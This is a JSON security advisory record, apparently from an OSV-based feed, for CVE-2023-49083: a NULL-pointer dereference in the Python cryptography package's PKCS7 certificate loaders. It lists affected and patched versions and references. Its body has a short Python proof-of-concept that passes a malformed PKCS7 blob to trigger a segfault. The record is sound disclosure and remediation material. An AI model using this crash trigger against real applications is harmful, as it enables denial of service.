{"id":"CVE-2023-49083","aliases":["GHSA-jfhm-5ghh-2f97","PYSEC-2023-254"],"title":"cryptography vulnerable to NULL-dereference when loading PKCS7 certificates","summary":"cryptography vulnerable to NULL-dereference when loading PKCS7 certificates","severity":"medium","cvss":5.9,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"cryptography","product":"cryptography","ecosystem":"pip","affected":["cryptography >= 3.1, < 41.0.6"],"patched":["cryptography 41.0.6"],"published":"2023-11-28","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:49:59.095260608Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-jfhm-5ghh-2f97","references":[{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49083"},{"url":"https://github.com/pyca/cryptography/pull/9926"},{"url":"https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a"},{"url":"https://github.com/pyca/cryptography"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml"},{"url":"https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html"},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV"},{"url":"http://www.openwall.com/lists/oss-security/2023/11/29/2"}],"tags":["osv","pip"],"epss":0.00985,"epssPercentile":0.60849,"ingestedAt":"2026-09-12T03:13:01.705Z","slug":"CVE-2023-49083","body":"## Overview\n\n### Summary\n\nCalling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.\n\n### PoC\nHere is a Python code that triggers the issue:\n```python\nfrom cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates\n\npem_p7 = b\"\"\"\n-----BEGIN PKCS7-----\nMAsGCSqGSIb3DQEHAg==\n-----END PKCS7-----\n\"\"\"\n\nder_p7 = b\"\\x30\\x0B\\x06\\x09\\x2A\\x86\\x48\\x86\\xF7\\x0D\\x01\\x07\\x02\"\n\nload_pem_pkcs7_certificates(pem_p7)\nload_der_pkcs7_certificates(der_p7)\n```\n\n### Impact\nExploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.\n\n## Affected packages\n\n- `cryptography >= 3.1, < 41.0.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `cryptography 41.0.6`","depth":"sunlit","depthScore":33,"depthScoreParts":{"impact":32.5,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}